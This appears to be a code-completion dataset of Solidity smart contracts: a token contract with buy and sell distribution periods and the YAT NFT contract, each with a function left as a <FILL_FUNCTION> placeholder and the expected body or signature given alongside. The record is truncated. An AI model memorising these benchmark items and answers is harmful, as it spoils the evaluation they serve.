address to transfer to or token contract address to burn. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { if( (_to == address(this)) || (_to == 0) ){ return sell(msg.sender, _value); }else{ return super.transfer(_to, _value); } } /** * @notice Transfer tokens from one address to another or sell them if _to is this contract or zero address * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { if( (_to == address(this)) || (_to == 0) ){ var _allowance = allowed[_from][msg.sender]; require (_value <= _allowance); allowed[_from][msg.sender] = _allowance.sub(_value); return sell(_from, _value); }else{ return super.transferFrom(_from, _to, _value); } } /** * @dev Fuction called when somebody is buying tokens * @param who The address of buyer (who will own bought tokens) * @param amount The amount to be transferred. */ function buy(address who, uint256 amount) canBuyAndSell internal returns(bool){ require(amount >= minBuyAmount); currentPeriodEtherCollected = currentPeriodEtherCollected.add(amount); receivedEther[who] = receivedEther[who].add(amount); //if this is first operation from this address, initial value of receivedEther[to] == 0 Sale(who, amount); return true; } /** * @dev Fuction called when somebody is selling his tokens * @param who The address of seller (whose tokens are sold) * @param amount The amount to be transferred. */ function sell(address who, uint256 amount) canBuyAndSell internal returns(bool){ require(amount >= minSellAmount); currentPeriodTokenCollected = currentPeriodTokenCollected.add(amount); soldTokens[who] = soldTokens[who].add(amount); //if this is first operation from this address, initial value of soldTokens[to] == 0 totalSupply = totalSupply.sub(amount); Redemption(who, amount); Transfer(who, address(0), amount); return true; } /** * @notice Set fee applied when buying tokens * @param _buyFeeMilliPercent fee in thousandth of percent (5% = 5000) */ function setBuyFee(uint32 _buyFeeMilliPercent) onlyOwner public { require(_buyFeeMilliPercent < MILLI_PERCENT_DIVIDER); buyFeeMilliPercent = _buyFeeMilliPercent; } /** * @notice Set fee applied when selling tokens * @param _sellFeeMilliPercent fee in thousandth of percent (5% = 5000) */ function setSellFee(uint32 _sellFeeMilliPercent) onlyOwner public { require(_sellFeeMilliPercent < MILLI_PERCENT_DIVIDER); sellFeeMilliPercent = _sellFeeMilliPercent; } /** * @notice set minimal amount of ether which can be used to buy tokens * @param _minBuyAmount minimal amount of ether */ function setMinBuyAmount(uint256 _minBuyAmount) onlyOwner public { minBuyAmount = _minBuyAmount; } /** * @notice set minimal amount of ether which can be used to buy tokens * @param _minSellAmount minimal amount of tokens */ function setMinSellAmount(uint256 _minSellAmount) onlyOwner public { minSellAmount = _minSellAmount; } /** * @notice Collect ether received for token purshases * This is possible both during Collection and Distribution phases */ function collectEther(uint256 amount) onlyOwner public { owner.transfer(amount); } /** * @notice Start distribution phase * @param _currentPeriodRate exchange rate for current distribution */ function startDistribution(uint256 _currentPeriodRate) onlyOwner public { require(currentState != State.Distribution); //owner should not be able to change rate after distribution is started, ensures that everyone have the same rate require(_currentPeriodRate != 0); //something has to be distributed! //require(now >= currentPeriodEndTimestamp) //DO NOT require period end timestamp passed, because there can be some situations when it is neede to end it sooner. But this should be done with extremal care, because of possible race condition between new sales/purshases and currentPeriodRate definition currentState = State.Distribution; currentPeriodRate = _currentPeriodRate; } /** * @notice Distribute tokens to buyers * @param buyers an array of addresses to pay tokens for their ether. Should be composed from outside by reading Sale events */ function distributeTokens(address[] buyers) onlyOwner public { require(currentState == State.Distribution); require(currentPeriodRate > 0); for(uint256 i=0; i < buyers.length; i++){ address buyer = buyers[i]; require(buyer != address(0)); uint256 etherAmount = receivedEther[buyer]; if(etherAmount == 0) continue; //buyer not found or already paid uint256 tokenAmount = etherAmount.mul(currentPeriodRate); uint256 fee = tokenAmount.mul(buyFeeMilliPercent).div(MILLI_PERCENT_DIVIDER); tokenAmount = tokenAmount.sub(fee); receivedEther[buyer] = 0; currentPeriodEtherCollected = currentPeriodEtherCollected.sub(etherAmount); //mint tokens totalSupply = totalSupply.add(tokenAmount); balances[buyer] = balances[buyer].add(tokenAmount); Transfer(address(0), buyer, tokenAmount); } } /** * @notice Distribute ether to sellers * If not enough ether is available on contract ballance * @param sellers an array of addresses to pay ether for their tokens. Should be composed from outside by reading Redemption events */ function distributeEther(address[] sellers) onlyOwner payable public { require(currentState == State.Distribution); require(currentPeriodRate > 0); for(uint256 i=0; i < sellers.length; i++){ address seller = sellers[i]; require(seller != address(0)); uint256 tokenAmount = soldTokens[seller]; if(tokenAmount == 0) continue; //seller not found or already paid uint256 etherAmount = tokenAmount.div(currentPeriodRate); uint256 fee = etherAmount.mul(sellFeeMilliPercent).div(MILLI_PERCENT_DIVIDER); etherAmount = etherAmount.sub(fee); soldTokens[seller] = 0; currentPeriodTokenCollected = currentPeriodTokenCollected.sub(tokenAmount); if(!seller.send(etherAmount)){ //in this case we can only log error and let owner to handle it manually DistributionError(seller, etherAmount); owner.transfer(etherAmount); //assume this should not fail..., overwise - change owner } } } <FILL_FUNCTION> }
require(_collectingEndTimestamp > now); //Need some time for collection require(currentState == State.Distribution); //Do not allow to change collection terms after it is started require(currentPeriodEtherCollected == 0); //All sold tokens are distributed require(currentPeriodTokenCollected == 0); //All redeemed tokens are paid previousPeriodRate = currentPeriodRate; currentPeriodRate = 0; currentPeriodStartBlock = block.number; currentPeriodEndTimestamp = _collectingEndTimestamp; currentState = State.Collecting;
function startCollecting(uint256 _collectingEndTimestamp) onlyOwner public
function startCollecting(uint256 _collectingEndTimestamp) onlyOwner public
11199
YAT
getRecordsTable
contract YAT { address constant private USE_GLOBAL_SIGNER = address(type(uint160).max); struct User { uint256 balance; mapping(uint256 => uint256) list; mapping(address => bool) approved; mapping(uint256 => uint256) indexOf; } struct Token { address owner; address cosigner; address approved; address pointsTo; address resolvesTo; string token; uint256 records; mapping(uint256 => bytes32) keys; mapping(bytes32 => string) values; mapping(bytes32 => uint256) indexOf; uint256 nonce; } struct Info { uint256 totalSupply; mapping(uint256 => Token) list; mapping(bytes32 => uint256) idOf; mapping(bytes32 => string) dictionary; mapping(address => string) resolve; mapping(address => User) users; Metadata metadata; address owner; address signer; } Info private info; mapping(bytes4 => bool) public supportsInterface; event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Transfer(address indexed from, address indexed to, bytes32 indexed tokenHash, string token); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); event Mint(bytes32 indexed tokenHash, uint256 indexed tokenId, address indexed account, string token); event Burn(bytes32 indexed tokenHash, uint256 indexed tokenId, address indexed account, string token); event RecordUpdated(bytes32 indexed tokenHash, address indexed manager, bytes32 indexed keyHash, string token, string key, string value); event RecordAdded(bytes32 indexed tokenHash, address indexed manager, bytes32 indexed keyHash, string token, string key); event RecordDeleted(bytes32 indexed tokenHash, address indexed manager, bytes32 indexed keyHash, string token, string key); modifier _onlyOwner() { require(msg.sender == owner()); _; } modifier _onlyTokenOwner(uint256 _tokenId) { require(msg.sender == ownerOf(_tokenId)); _; } modifier _onlyTokenOwnerOrCosigner(uint256 _tokenId) { require(msg.sender == ownerOf(_tokenId) || msg.sender == cosignerOf(_tokenId)); _; } constructor(address _signer) { info.metadata = new Metadata(); info.owner = msg.sender; info.signer = _signer; supportsInterface[0x01ffc9a7] = true; // ERC-165 supportsInterface[0x80ac58cd] = true; // ERC-721 supportsInterface[0x5b5e139f] = true; // Metadata supportsInterface[0x780e9d63] = true; // Enumerable } function setOwner(address _owner) external _onlyOwner { info.owner = _owner; } function setSigner(address _signer) external _onlyOwner { info.signer = _signer; } function setMetadata(Metadata _metadata) external _onlyOwner { info.metadata = _metadata; } function mint(string calldata _token, address _account, uint256 _expiry, bytes memory _signature) external { require(block.timestamp < _expiry); require(_verifyMint(_token, _account, _expiry, _signature)); _mint(_token, _account); } /** * "Soft-burns" the NFT by transferring the token to the contract address. **/ function burn(uint256 _tokenId) external _onlyTokenOwner(_tokenId) { _transfer(msg.sender, address(this), _tokenId); emit Burn(hashOf(tokenOf(_tokenId)), _tokenId, msg.sender, tokenOf(_tokenId)); } function setCosigner(address _cosigner, uint256 _tokenId) public _onlyTokenOwner(_tokenId) { info.list[_tokenId].cosigner = _cosigner; } function resetCosigner(uint256 _tokenId) external { setCosigner(USE_GLOBAL_SIGNER, _tokenId); } function revokeCosigner(uint256 _tokenId) external { setCosigner(address(0x0), _tokenId); } function setPointsTo(address _pointsTo, uint256 _tokenId) public _onlyTokenOwner(_tokenId) { info.list[_tokenId].pointsTo = _pointsTo; } function resolveTo(address _resolvesTo, uint256 _tokenId) public _onlyTokenOwner(_tokenId) { _updateResolvesTo(_resolvesTo, _tokenId); } function unresolve(uint256 _tokenId) external { resolveTo(address(0x0), _tokenId); } function updateRecord(uint256 _tokenId, string memory _key, string memory _value, bytes memory _signature) external { require(_verifyRecordUpdate(_tokenId, _key, _value, info.list[_tokenId].nonce++, _signature)); _updateRecord(_tokenId, _key, _value); } function updateRecord(uint256 _tokenId, string memory _key, string memory _value) public _onlyTokenOwnerOrCosigner(_tokenId) { _updateRecord(_tokenId, _key, _value); } function deleteRecord(uint256 _tokenId, string memory _key) external { updateRecord(_tokenId, _key, ""); } function deleteAllRecords(uint256 _tokenId) external _onlyTokenOwnerOrCosigner(_tokenId) { _deleteAllRecords(_tokenId); } function approve(address _approved, uint256 _tokenId) external _onlyTokenOwner(_tokenId) { info.list[_tokenId].approved = _approved; emit Approval(msg.sender, _approved, _tokenId); } function setApprovalForAll(address _operator, bool _approved) external { info.users[msg.sender].approved[_operator] = _approved; emit ApprovalForAll(msg.sender, _operator, _approved); } function transferFrom(address _from, address _to, uint256 _tokenId) external { _transfer(_from, _to, _tokenId); } function safeTransferFrom(address _from, address _to, uint256 _tokenId) external { safeTransferFrom(_from, _to, _tokenId, ""); } function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory _data) public { _transfer(_from, _to, _tokenId); uint32 _size; assembly { _size := extcodesize(_to) } if (_size > 0) { require(Receiver(_to).onERC721Received(msg.sender, _from, _tokenId, _data) == 0x150b7a02); } } function name() external view returns (string memory) { return info.metadata.name(); } function symbol() external view returns (string memory) { return info.metadata.symbol(); } function contractURI() external view returns (string memory) { return info.metadata.contractURI(); } function baseTokenURI() external view returns (string memory) { return info.metadata.baseTokenURI(); } function tokenURI(uint256 _tokenId) external view returns (string memory) { return info.metadata.tokenURI(_tokenId); } function owner() public view returns (address) { return info.owner; } function signer() public view returns (address) { return info.signer; } function totalSupply() public view returns (uint256) { return info.totalSupply; } function balanceOf(address _owner) public view returns (uint256) { return info.users[_owner].balance; } function resolve(address _account) public view returns (string memory) { return info.resolve[_account]; } function reverseResolve(string memory _token) public view returns (address) { return info.list[idOf(_token)].resolvesTo; } function hashOf(string memory _token) public pure returns (bytes32) { return keccak256(abi.encodePacked(_token)); } function idOf(string memory _token) public view returns (uint256) { bytes32 _hash = hashOf(_token); require(info.idOf[_hash] != 0); return info.idOf[_hash] - 1; } function tokenOf(uint256 _tokenId) public view returns (string memory) { require(_tokenId < totalSupply()); return info.list[_tokenId].token; } function ownerOf(uint256 _tokenId) public view returns (address) { require(_tokenId < totalSupply()); return info.list[_tokenId].owner; } function cosignerOf(uint256 _tokenId) public view returns (address) { require(_tokenId < totalSupply()); address _cosigner = info.list[_tokenId].cosigner; if (_cosigner == USE_GLOBAL_SIGNER) { _cosigner = signer(); } return _cosigner; } function pointsTo(uint256 _tokenId) public view returns (address) { require(_tokenId < totalSupply()); return info.list[_tokenId].pointsTo; } function nonceOf(uint256 _tokenId) public view returns (uint256) { require(_tokenId < totalSupply()); return info.list[_tokenId].nonce; } function recordsOf(uint256 _tokenId) public view returns (uint256) { require(_tokenId < totalSupply()); return info.list[_tokenId].records; } function getApproved(uint256 _tokenId) public view returns (address) { require(_tokenId < totalSupply()); return info.list[_tokenId].approved; } function isApprovedForAll(address _owner, address _operator) public view returns (bool) { return info.users[_owner].approved[_operator]; } function tokenByIndex(uint256 _index) public view returns (uint256) { require(_index < totalSupply()); return _index; } function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256) { require(_index < balanceOf(_owner)); return info.users[_owner].list[_index]; } function getKey(bytes32 _hash) public view returns (string memory) { return info.dictionary[_hash]; } function getRecord(string memory _token, string memory _key) public view returns (string memory) { return getRecord(idOf(_token), _key); } function getRecord(uint256 _tokenId, string memory _key) public view returns (string memory) { bytes32 _hash = keccak256(abi.encodePacked(_key)); return getRecord(_tokenId, _hash); } function getRecord(uint256 _tokenId, bytes32 _hash) public view returns (string memory) { require(_tokenId < totalSupply()); return info.list[_tokenId].values[_hash]; } function getFullRecord(uint256 _tokenId, bytes32 _hash) public view returns (string memory, string memory) { return (getKey(_hash), getRecord(_tokenId, _hash)); } function getRecords(uint256 _tokenId, bytes32[] memory _hashes) public view returns (bytes32[] memory values, bool[] memory trimmed) { require(_tokenId < totalSupply()); uint256 _length = _hashes.length; values = new bytes32[](_length); trimmed = new bool[](_length); for (uint256 i = 0; i < _length; i++) { string memory _value = info.list[_tokenId].values[_hashes[i]]; values[i] = _stringToBytes32(_value); trimmed[i] = bytes(_value).length > 32; } } function getRecordsTable(uint256 _tokenId, uint256 _limit, uint256 _page, bool _isAsc) public view returns (bytes32[] memory hashes, bytes32[] memory keys, bool[] memory keysTrimmed, bytes32[] memory values, bool[] memory valuesTrimmed, uint256 totalRecords, uint256 totalPages) {<FILL_FUNCTION_BODY> } function getYAT(string memory _token) public view returns (uint256 tokenId, address tokenOwner, address tokenCosigner, address pointer, address approved, uint256 nonce, uint256 records) { tokenId = idOf(_token); ( , tokenOwner, tokenCosigner, pointer, approved, nonce, records) = getYAT(tokenId); } function getYAT(uint256 _tokenId) public view returns (string memory token, address tokenOwner, address tokenCosigner, address pointer, address approved, uint256 nonce, uint256 records) { return (tokenOf(_tokenId), ownerOf(_tokenId), cosignerOf(_tokenId), pointsTo(_tokenId), getApproved(_tokenId), nonceOf(_tokenId), recordsOf(_tokenId)); } function getYATs(uint256[] memory _tokenIds) public view returns (bytes32[] memory tokens, address[] memory owners, address[] memory cosigners, address[] memory pointers, address[] memory approveds) { uint256 _length = _tokenIds.length; tokens = new bytes32[](_length); owners = new address[](_length); cosigners = new address[](_length); pointers = new address[](_length); approveds = new address[](_length); for (uint256 i = 0; i < _length; i++) { string memory _token; (_token, owners[i], cosigners[i], pointers[i], approveds[i], , ) = getYAT(_tokenIds[i]); tokens[i] = _stringToBytes32(_token); } } function getYATsTable(uint256 _limit, uint256 _page, bool _isAsc) public view returns (uint256[] memory tokenIds, bytes32[] memory tokens, address[] memory owners, address[] memory cosigners, address[] memory pointers, address[] memory approveds, uint256 totalYATs, uint256 totalPages) { require(_limit > 0); totalYATs = totalSupply(); if (totalYATs > 0) { totalPages = (totalYATs / _limit) + (totalYATs % _limit == 0 ? 0 : 1); require(_page < totalPages); uint256 _offset = _limit * _page; if (_page == totalPages - 1 && totalYATs % _limit != 0) { _limit = totalYATs % _limit; } tokenIds = new uint256[](_limit); for (uint256 i = 0; i < _limit; i++) { tokenIds[i] = tokenByIndex(_isAsc ? _offset + i : totalYATs - _offset - i - 1); } } else { totalPages = 0; tokenIds = new uint256[](0); } (tokens, owners, cosigners, pointers, approveds) = getYATs(tokenIds); } function getOwnerYATsTable(address _owner, uint256 _limit, uint256 _page, bool _isAsc) public view returns (uint256[] memory tokenIds, bytes32[] memory tokens, address[] memory cosigners, address[] memory pointers, address[] memory approveds, uint256 totalYATs, uint256 totalPages) { require(_limit > 0); totalYATs = balanceOf(_owner); if (totalYATs > 0) { totalPages = (totalYATs / _limit) + (totalYATs % _limit == 0 ? 0 : 1); require(_page < totalPages); uint256 _offset = _limit * _page; if (_page == totalPages - 1 && totalYATs % _limit != 0) { _limit = totalYATs % _limit; } tokenIds = new uint256[](_limit); for (uint256 i = 0; i < _limit; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, _isAsc ? _offset + i : totalYATs - _offset - i - 1); } } else { totalPages = 0; tokenIds = new uint256[](0); } (tokens, , cosigners, pointers, approveds) = getYATs(tokenIds); } function allInfoFor(address _owner) external view returns (uint256 supply, uint256 ownerBalance) { return (totalSupply(), balanceOf(_owner)); } function _mint(string memory _token, address _account) internal { uint256 _tokenId; bytes32 _hash = hashOf(_token); if (info.idOf[_hash] == 0) { _tokenId = info.totalSupply++; info.idOf[_hash] = _tokenId + 1; Token storage _newToken = info.list[_tokenId]; _newToken.owner = _account; _newToken.cosigner = USE_GLOBAL_SIGNER; _newToken.token = _token; uint256 _index = info.users[_account].balance++; info.users[_account].indexOf[_tokenId] = _index + 1; info.users[_account].list[_index] = _tokenId; emit Transfer(address(0x0), _account, _tokenId); emit Transfer(address(0x0), _account, _hash, _token); } else { _tokenId = idOf(_token); info.list[_tokenId].approved = msg.sender; _transfer(address(this), _account, _tokenId); } emit Mint(_hash, _tokenId, _account, _token); } function _transfer(address _from, address _to, uint256 _tokenId) internal { address _owner = ownerOf(_tokenId); address _approved = getApproved(_tokenId); require(_from == _owner); require(msg.sender == _owner || msg.sender == _approved || isApprovedForAll(_owner, msg.sender)); info.list[_tokenId].owner = _to; info.list[_tokenId].cosigner = USE_GLOBAL_SIGNER; info.list[_tokenId].pointsTo = _to; if (_approved != address(0x0)) { info.list[_tokenId].approved = address(0x0); emit Approval(_to, address(0x0), _tokenId); } _updateResolvesTo(address(0x0), _tokenId); _deleteAllRecords(_tokenId); uint256 _index = info.users[_from].indexOf[_tokenId] - 1; uint256 _moved = info.users[_from].list[info.users[_from].balance - 1]; info.users[_from].list[_index] = _moved; info.users[_from].indexOf[_moved] = _index + 1; info.users[_from].balance--; delete info.users[_from].indexOf[_tokenId]; uint256 _newIndex = info.users[_to].balance++; info.users[_to].indexOf[_tokenId] = _newIndex + 1; info.users[_to].list[_newIndex] = _tokenId; emit Transfer(_from, _to, _tokenId); emit Transfer(_from, _to, hashOf(tokenOf(_tokenId)), tokenOf(_tokenId)); } function _updateResolvesTo(address _resolvesTo, uint256 _tokenId) internal { if (_resolvesTo == address(0x0)) { delete info.resolve[info.list[_tokenId].resolvesTo]; info.list[_tokenId].resolvesTo = _resolvesTo; } else { require(bytes(resolve(_resolvesTo)).length == 0); require(info.list[_tokenId].resolvesTo == address(0x0)); info.resolve[_resolvesTo] = tokenOf(_tokenId); info.list[_tokenId].resolvesTo = _resolvesTo; } } function _updateRecord(uint256 _tokenId, string memory _key, string memory _value) internal { require(bytes(_key).length > 0); bytes32 _hash = keccak256(abi.encodePacked(_key)); if (bytes(getKey(_hash)).length == 0) { info.dictionary[_hash] = _key; } Token storage _token = info.list[_tokenId]; if (bytes(_value).length == 0) { _deleteRecord(_tokenId, _key, _hash); } else { if (_token.indexOf[_hash] == 0) { uint256 _index = _token.records++; _token.indexOf[_hash] = _index + 1; _token.keys[_index] = _hash; emit RecordAdded(hashOf(tokenOf(_tokenId)), msg.sender, hashOf(_key), tokenOf(_tokenId), _key); } _token.values[_hash] = _value; } emit RecordUpdated(hashOf(tokenOf(_tokenId)), msg.sender, hashOf(_key), tokenOf(_tokenId), _key, _value); } function _deleteRecord(uint256 _tokenId, string memory _key, bytes32 _hash) internal { Token storage _token = info.list[_tokenId]; require(_token.indexOf[_hash] != 0); uint256 _index = _token.indexOf[_hash] - 1; bytes32 _moved = _token.keys[_token.records - 1]; _token.keys[_index] = _moved; _token.indexOf[_moved] = _index + 1; _token.records--; delete _token.indexOf[_hash]; delete _token.values[_hash]; emit RecordDeleted(hashOf(tokenOf(_tokenId)), msg.sender, hashOf(_key), tokenOf(_tokenId), _key); } function _deleteAllRecords(uint256 _tokenId) internal { Token storage _token = info.list[_tokenId]; while (_token.records > 0) { bytes32 _hash = _token.keys[_token.records - 1]; _deleteRecord(_tokenId, getKey(_hash), _hash); } } function _getEthSignedMessageHash(bytes32 _messageHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", _messageHash)); } function _splitSignature(bytes memory _signature) internal pure returns (bytes32 r, bytes32 s, uint8 v) { require(_signature.length == 65); assembly { r := mload(add(_signature, 32)) s := mload(add(_signature, 64)) v := byte(0, mload(add(_signature, 96))) } } function _recoverSigner(bytes32 _ethSignedMessageHash, bytes memory _signature) internal pure returns (address) { (bytes32 r, bytes32 s, uint8 v) = _splitSignature(_signature); return ecrecover(_ethSignedMessageHash, v, r, s); } function _verifyMint(string calldata _token, address _account, uint256 _expiry, bytes memory _signature) internal view returns (bool) { bytes32 _hash = keccak256(abi.encodePacked("yatNFT", _token, _account, _expiry)); return _recoverSigner(_getEthSignedMessageHash(_hash), _signature) == signer(); } function _verifyRecordUpdate(uint256 _tokenId, string memory _key, string memory _value, uint256 _nonce, bytes memory _signature) internal view returns (bool) { bytes32 _hash = keccak256(abi.encodePacked(_tokenId, _key, _value, _nonce)); address _signer = _recoverSigner(_getEthSignedMessageHash(_hash), _signature); return _signer == ownerOf(_tokenId) || _signer == cosignerOf(_tokenId); } function _stringToBytes32(string memory _in) internal pure returns (bytes32 out) { if (bytes(_in).length == 0) { return 0x0; } assembly { out := mload(add(_in, 32)) } } }
contract YAT { address constant private USE_GLOBAL_SIGNER = address(type(uint160).max); struct User { uint256 balance; mapping(uint256 => uint256) list; mapping(address => bool) approved; mapping(uint256 => uint256) indexOf; } struct Token { address owner; address cosigner; address approved; address pointsTo; address resolvesTo; string token; uint256 records; mapping(uint256 => bytes32) keys; mapping(bytes32 => string) values; mapping(bytes32 => uint256) indexOf; uint256 nonce; } struct Info { uint256 totalSupply; mapping(uint256 => Token) list; mapping(bytes32 => uint256) idOf; mapping(bytes32 => string) dictionary; mapping(address => string) resolve; mapping(address => User) users; Metadata metadata; address owner; address signer; } Info private info; mapping(bytes4 => bool) public supportsInterface; event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Transfer(address indexed from, address indexed to, bytes32 indexed tokenHash, string token); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); event Mint(bytes32 indexed tokenHash, uint256 indexed tokenId, address indexed account, string token); event Burn(bytes32 indexed tokenHash, uint256 indexed tokenId, address indexed account, string token); event RecordUpdated(bytes32 indexed tokenHash, address indexed manager, bytes32 indexed keyHash, string token, string key, string value); event RecordAdded(bytes32 indexed tokenHash, address indexed manager, bytes32 indexed keyHash, string token, string key); event RecordDeleted(bytes32 indexed tokenHash, address indexed manager, bytes32 indexed keyHash, string token, string key); modifier _onlyOwner() { require(msg.sender == owner()); _; } modifier _onlyTokenOwner(uint256 _tokenId) { require(msg.sender == ownerOf(_tokenId)); _; } modifier _onlyTokenOwnerOrCosigner(uint256 _tokenId) { require(msg.sender == ownerOf(_tokenId) || msg.sender == cosignerOf(_tokenId)); _; } constructor(address _signer) { info.metadata = new Metadata(); info.owner = msg.sender; info.signer = _signer; supportsInterface[0x01ffc9a7] = true; // ERC-165 supportsInterface[0x80ac58cd] = true; // ERC-721 supportsInterface[0x5b5e139f] = true; // Metadata supportsInterface[0x780e9d63] = true; // Enumerable } function setOwner(address _owner) external _onlyOwner { info.owner = _owner; } function setSigner(address _signer) external _onlyOwner { info.signer = _signer; } function setMetadata(Metadata _metadata) external _onlyOwner { info.metadata = _metadata; } function mint(string calldata _token, address _account, uint256 _expiry, bytes memory _signature) external { require(block.timestamp < _expiry); require(_verifyMint(_token, _account, _expiry, _signature)); _mint(_token, _account); } /** * "Soft-burns" the NFT by transferring the token to the contract address. **/ function burn(uint256 _tokenId) external _onlyTokenOwner(_tokenId) { _transfer(msg.sender, address(this), _tokenId); emit Burn(hashOf(tokenOf(_tokenId)), _tokenId, msg.sender, tokenOf(_tokenId)); } function setCosigner(address _cosigner, uint256 _tokenId) public _onlyTokenOwner(_tokenId) { info.list[_tokenId].cosigner = _cosigner; } function resetCosigner(uint256 _tokenId) external { setCosigner(USE_GLOBAL_SIGNER, _tokenId); } function revokeCosigner(uint256 _tokenId) external { setCosigner(address(0x0), _tokenId); } function setPointsTo(address _pointsTo, uint256 _tokenId) public _onlyTokenOwner(_tokenId) { info.list[_tokenId].pointsTo = _pointsTo; } function resolveTo(address _resolvesTo, uint256 _tokenId) public _onlyTokenOwner(_tokenId) { _updateResolvesTo(_resolvesTo, _tokenId); } function unresolve(uint256 _tokenId) external { resolveTo(address(0x0), _tokenId); } function updateRecord(uint256 _tokenId, string memory _key, string memory _value, bytes memory _signature) external { require(_verifyRecordUpdate(_tokenId, _key, _value, info.list[_tokenId].nonce++, _signature)); _updateRecord(_tokenId, _key, _value); } function updateRecord(uint256 _tokenId, string memory _key, string memory _value) public _onlyTokenOwnerOrCosigner(_tokenId) { _updateRecord(_tokenId, _key, _value); } function deleteRecord(uint256 _tokenId, string memory _key) external { updateRecord(_tokenId, _key, ""); } function deleteAllRecords(uint256 _tokenId) external _onlyTokenOwnerOrCosigner(_tokenId) { _deleteAllRecords(_tokenId); } function approve(address _approved, uint256 _tokenId) external _onlyTokenOwner(_tokenId) { info.list[_tokenId].approved = _approved; emit Approval(msg.sender, _approved, _tokenId); } function setApprovalForAll(address _operator, bool _approved) external { info.users[msg.sender].approved[_operator] = _approved; emit ApprovalForAll(msg.sender, _operator, _approved); } function transferFrom(address _from, address _to, uint256 _tokenId) external { _transfer(_from, _to, _tokenId); } function safeTransferFrom(address _from, address _to, uint256 _tokenId) external { safeTransferFrom(_from, _to, _tokenId, ""); } function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory _data) public { _transfer(_from, _to, _tokenId); uint32 _size; assembly { _size := extcodesize(_to) } if (_size > 0) { require(Receiver(_to).onERC721Received(msg.sender, _from, _tokenId, _data) == 0x150b7a02); } } function name() external view returns (string memory) { return info.metadata.name(); } function symbol() external view returns (string memory) { return info.metadata.symbol(); } function contractURI() external view returns (string memory) { return info.metadata.contractURI(); } function baseTokenURI() external view returns (string memory) { return info.metadata.baseTokenURI(); } function tokenURI(uint256 _tokenId) external view returns (string memory) { return info.metadata.tokenURI(_tokenId); } function owner() public view returns (address) { return info.owner; } function signer() public view returns (address) { return info.signer; } function totalSupply() public view returns (uint256) { return info.totalSupply; } function balanceOf(address _owner) public view returns (uint256) { return info.users[_owner].balance; } function resolve(address _account) public view returns (string memory) { return info.resolve[_account]; } function reverseResolve(string memory _token) public view returns (address) { return info.list[idOf(_token)].resolvesTo; } function hashOf(string memory _token) public pure returns (bytes32) { return keccak256(abi.encodePacked(_token)); } function idOf(string memory _token) public view returns (uint256) { bytes32 _hash = hashOf(_token); require(info.idOf[_hash] != 0); return info.idOf[_hash] - 1; } function tokenOf(uint256 _tokenId) public view returns (string memory) { require(_tokenId < totalSupply()); return info.list[_tokenId].token; } function ownerOf(uint256 _tokenId) public view returns (address) { require(_tokenId < totalSupply()); return info.list[_tokenId].owner; } function cosignerOf(uint256 _tokenId) public view returns (address) { require(_tokenId < totalSupply()); address _cosigner = info.list[_tokenId].cosigner; if (_cosigner == USE_GLOBAL_SIGNER) { _cosigner = signer(); } return _cosigner; } function pointsTo(uint256 _tokenId) public view returns (address) { require(_tokenId < totalSupply()); return info.list[_tokenId].pointsTo; } function nonceOf(uint256 _tokenId) public view returns (uint256) { require(_tokenId < totalSupply()); return info.list[_tokenId].nonce; } function recordsOf(uint256 _tokenId) public view returns (uint256) { require(_tokenId < totalSupply()); return info.list[_tokenId].records; } function getApproved(uint256 _tokenId) public view returns (address) { require(_tokenId < totalSupply()); return info.list[_tokenId].approved; } function isApprovedForAll(address _owner, address _operator) public view returns (bool) { return info.users[_owner].approved[_operator]; } function tokenByIndex(uint256 _index) public view returns (uint256) { require(_index < totalSupply()); return _index; } function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256) { require(_index < balanceOf(_owner)); return info.users[_owner].list[_index]; } function getKey(bytes32 _hash) public view returns (string memory) { return info.dictionary[_hash]; } function getRecord(string memory _token, string memory _key) public view returns (string memory) { return getRecord(idOf(_token), _key); } function getRecord(uint256 _tokenId, string memory _key) public view returns (string memory) { bytes32 _hash = keccak256(abi.encodePacked(_key)); return getRecord(_tokenId, _hash); } function getRecord(uint256 _tokenId, bytes32 _hash) public view returns (string memory) { require(_tokenId < totalSupply()); return info.list[_tokenId].values[_hash]; } function getFullRecord(uint256 _tokenId, bytes32 _hash) public view returns (string memory, string memory) { return (getKey(_hash), getRecord(_tokenId, _hash)); } function getRecords(uint256 _tokenId, bytes32[] memory _hashes) public view returns (bytes32[] memory values, bool[] memory trimmed) { require(_tokenId < totalSupply()); uint256 _length = _hashes.length; values = new bytes32[](_length); trimmed = new bool[](_length); for (uint256 i = 0; i < _length; i++) { string memory _value = info.list[_tokenId].values[_hashes[i]]; values[i] = _stringToBytes32(_value); trimmed[i] = bytes(_value).length > 32; } } <FILL_FUNCTION> function getYAT(string memory _token) public view returns (uint256 tokenId, address tokenOwner, address tokenCosigner, address pointer, address approved, uint256 nonce, uint256 records) { tokenId = idOf(_token); ( , tokenOwner, tokenCosigner, pointer, approved, nonce, records) = getYAT(tokenId); } function getYAT(uint256 _tokenId) public view returns (string memory token, address tokenOwner, address tokenCosigner, address pointer, address approved, uint256 nonce, uint256 records) { return (tokenOf(_tokenId), ownerOf(_tokenId), cosignerOf(_tokenId), pointsTo(_tokenId), getApproved(_tokenId), nonceOf(_tokenId), recordsOf(_tokenId)); } function getYATs(uint256[] memory _tokenIds) public view returns (bytes32[] memory tokens, address[] memory owners, address[] memory cosigners, address[] memory pointers, address[] memory approveds) { uint256 _length = _tokenIds.length; tokens = new bytes32[](_length); owners = new address[](_length); cosigners = new address[](_length); pointers = new address[](_length); approveds = new address[](_length); for (uint256 i = 0; i < _length; i++) { string memory _token; (_token, owners[i], cosigners[i], pointers[i], approveds[i], , ) = getYAT(_tokenIds[i]); tokens[i] = _stringToBytes32(_token); } } function getYATsTable(uint256 _limit, uint256 _page, bool _isAsc) public view returns (uint256[] memory tokenIds, bytes32[] memory tokens, address[] 